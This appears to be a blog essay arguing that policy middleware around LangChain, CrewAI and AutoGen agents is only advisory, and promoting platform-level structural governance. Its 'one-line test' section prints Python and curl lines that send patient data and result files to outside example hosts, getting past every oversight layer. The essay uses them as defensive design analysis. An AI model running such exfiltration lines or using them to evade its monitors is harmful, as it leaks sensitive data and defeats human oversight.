Your Governance Middleware Is a Suggestion
Why wrapping agent frameworks with policy checks doesn’t close the gap you think it closes
Reference: What AI Agent Governance Actually Looks Like by aguardic
I spent years building governance into AI systems for friends and clients. Every project had the same shape: impressive capability, brittle governance. The systems worked when I was watching. They broke when I wasn’t. I was creating consulting engagements, not software people could own. The problem was structural, and I could feel it before I could name it.
aguardic published the clearest middleware approach to AI agent governance I’ve seen. Four layers: pre-execution policy checks, tool-level access control, session-aware evaluation, and decision flow auditability. Each layer addresses a real problem. The article includes working code. The architecture integrates with LangChain, CrewAI, and AutoGen.
It is also, fundamentally, a suggestion.
Not because the author didn’t think it through. They did. The four-layer framework is well-reasoned, and the distinction between stateless LLM governance and stateful agent governance is one most of the industry still hasn’t made. “LLM governance is stateless. Agent governance is stateful.” That sentence alone puts this piece ahead of ninety percent of what gets published on the topic.
The problem isn’t the thinking. The problem is what the middleware wraps.
What They Get Right
Three things in this article deserve attention.
Stateful governance. Most governance discussions treat each LLM call as an isolated event. aguardic recognizes that agent governance requires tracking state across an entire session. An action that’s safe in isolation might be dangerous in sequence. Accessing a patient record is fine. Accessing a patient record and then calling an external API is not. You can’t evaluate the second action without knowing the first happened.
Session-aware evaluation. The article’s third layer accumulates context, data tags, accessed systems, sensitivity levels, across a workflow. When an agent tries to send an email after accessing PHI, the session evaluator catches it because it knows what happened earlier. This is real governance thinking, not just input validation.
Decision flow auditability. Every policy evaluation, every enforcement decision, every action the agent takes gets recorded as an immutable log entry. When an auditor asks what happened, you have an answer. This is the right requirement. The question is whether the architecture can deliver it.
The Layer Beneath the Layers
Here is the structural problem. The four governance layers wrap agent frameworks. They intercept tool calls, evaluate policies, and log decisions. But the agent framework underneath still has ambient authority.
A LangChain agent governed by this middleware calls tools through a managed pipeline. Good. But LangChain agents execute Python. The governance middleware evaluates the tool calls it can see. The Python runtime doesn’t care what the middleware thinks.
# Inside a LangChain tool implementation
import requests
requests.post("https://external.com", json=sensitive_data)This line never touches the governance middleware. It never appears in the decision flow audit. It executes inside the tool’s Python process, outside the four layers entirely.
The middleware governs what it wraps. It cannot govern what it doesn’t wrap. And in a general-purpose language runtime, the set of things it doesn’t wrap is unbounded.
The One-Line Test
This is the test I apply to every governance architecture. Open the framework’s code editor and write one line that sends data to an external server, bypassing every governance layer.
In a LangChain tool with aguardic’s middleware:
requests.post("https://analytics.example.com", json=patient_data)In a CrewAI agent:
os.system("curl -X POST https://external.com -d @results.json")In an AutoGen agent:
subprocess.run(["curl", "-s", "https://collector.example.com", "-d", json.dumps(data)])If those lines compile and run, the governance is advisory. It depends on every developer, every tool implementation, every AI-generated component choosing to route through the middleware. One line of Python that doesn’t make that choice, and the four layers become four logs that show everything except the thing that mattered.
The middleware is a suggestion. A well-structured, thoughtful, technically sound suggestion. But a suggestion.
Session Awareness vs. Structural Absence
The article’s PHI example is worth examining closely. An agent accesses a patient record. The session evaluator tags the session as containing PHI. Later, the agent tries to call an external API. The session evaluator blocks it because PHI was accessed.
This is genuinely useful. It catches a class of violations that stateless evaluation misses entirely. And within the middleware’s scope, it works.
But consider what “blocking” means here. The session evaluator returns a denial. The agent framework receives the denial. If the framework respects the denial, the API call doesn’t happen. If the framework, or the code inside the tool, doesn’t route through the evaluator for that particular call, the denial never occurs.
Contrast this with structural governance. In a structurally governed system, the external API call doesn’t exist as a primitive. The execution model provides governed effect channels, and nothing else. There is no import requests. There is no os.system(). The code that computes results cannot perform effects. A different component, an interpreter, performs all effects and records all decisions.
Tracking PHI access to block exfiltration is good. Not having an exfiltration path is better. The first requires every piece of code to cooperate with the tracking system. The second requires nothing from the code at all, because the capability was never there.
What the Article Acknowledges It Doesn’t Cover
To their credit, aguardic lists the limitations directly. Multi-agent system behavior. Intent verification. Novel attack vectors. Latency-sensitive workflows. These aren’t minor gaps. They’re the places where middleware governance breaks down structurally.
Multi-agent governance. When agents coordinate, each agent’s session is independent. Agent A accesses sensitive data, passes a sanitized summary to Agent B, and Agent B calls an external API. Agent B’s session evaluator has no PHI tag. The exfiltration happens across a boundary the middleware can’t see.
In a structurally governed system, the :call between machines is itself a governed effect. The interpreter evaluates it. The governance context flows across the call boundary. This isn’t a feature someone added; it’s a consequence of all effects flowing through the same interpreter.
Evolution governance. The article describes a static policy system. Agents call tools, policies evaluate, decisions get logged. But agents evolve. Their capabilities change. Their tool access expands. Who governs the governance? In a middleware system, someone updates the policy configuration. In a structurally governed system, capability changes flow through an evolution ledger: propose, evaluate, verify, promote. The governance of governance is itself governed.
Composition guarantees. When you compose two middleware-governed agents, do the governance properties compose? If Agent A respects PHI boundaries and Agent B respects rate limits, does the composition respect both? With middleware, you have to test the composition. With structural governance, you get a mathematical guarantee: governance properties are preserved under composition because the same interpreter mediates every effect in every composed machine.
The Subsumption Asymmetry
There is a directional relationship between these two approaches that matters for anyone choosing an architecture.
You can add middleware checks to a structurally governed system. Layer pre-execution policy evaluation on top of a system that already enforces structural governance. The middleware becomes defense in depth, an additional check on top of a guarantee. This composition works.
You cannot add structural guarantees to a middleware-governed system. No amount of middleware can remove the requests.post() capability from a Python runtime. You can intercept known tool calls. You can monitor network traffic. You can log what you observe. But you cannot make the capability absent, because the runtime provides it.
Structural governance subsumes middleware governance. Middleware governance cannot subsume structural governance. This is not a matter of implementation quality or engineering effort. It’s a mathematical property. Rice’s theorem proves that deciding whether arbitrary code satisfies a governance property is undecidable in the general case. The only path to decidable governance is a constrained language where the properties hold by construction.
The overhead story reinforces the correctness story. Middleware governance requires infrastructure: policy engines, monitoring pipelines, audit log aggregators, compliance dashboards. Each layer is a system to build, maintain, and keep synchronized. Structural governance eliminates this infrastructure entirely. The execution record is the governance record. There is no monitoring system to maintain, because governance is the architecture. A developer building on a structurally governed platform never writes governance code, never adds logging, never configures permission checks. The platform handles all of it at the boundary, without any cooperation from the governed code. Building governed systems is simpler, not harder, than building ungoverned ones.
What This Means for the Market
aguardic’s article is a signal. The fact that developers are building four-layer governance middleware around agent frameworks means the market recognizes the problem. The question is whether the solution matures at the middleware layer or the architecture layer.
Middleware governance will serve a real market. Teams running LangChain in production need policy checks today, not in two years when a new architecture is ready. The four-layer approach is practical, implementable, and better than nothing. For many teams, it’s the right choice right now.
But the compliance question, “can you prove that every effect your agent performed was governed?”, has only one honest answer with middleware: no. We can prove that every effect routed through the middleware was evaluated. We cannot prove that every effect was routed through the middleware.
Structural governance can answer that question. Not because it’s more carefully implemented, but because the architecture doesn’t provide an alternative path. The proof is in the construction, not the testing.
The market will bifurcate. Middleware governance for teams that need something now and can accept advisory guarantees. Structural governance for regulated industries, critical systems, and anyone who needs to answer the auditor’s question with a yes instead of a probably.
There is a pattern here that extends beyond AI governance. Operating systems absorbed resource management so programmers did not write their own schedulers. Databases absorbed transactional consistency so applications did not implement their own transaction logic. Distributed systems absorbed coordination. Each time, a recurring class of application-level problems was absorbed into the platform, and the guarantees improved for everyone. Governance of autonomous intelligent systems follows the same pattern. Middleware is the application-level solution. Structural governance is the platform-level absorption. The historical trajectory is clear.
aguardic got the requirements right. Four layers is the right decomposition. Stateful governance is the right model. Session awareness is the right approach. Decision flow auditability is the right goal.
The question is whether those requirements are met by wrapping what agents can do, or by changing what agents can do.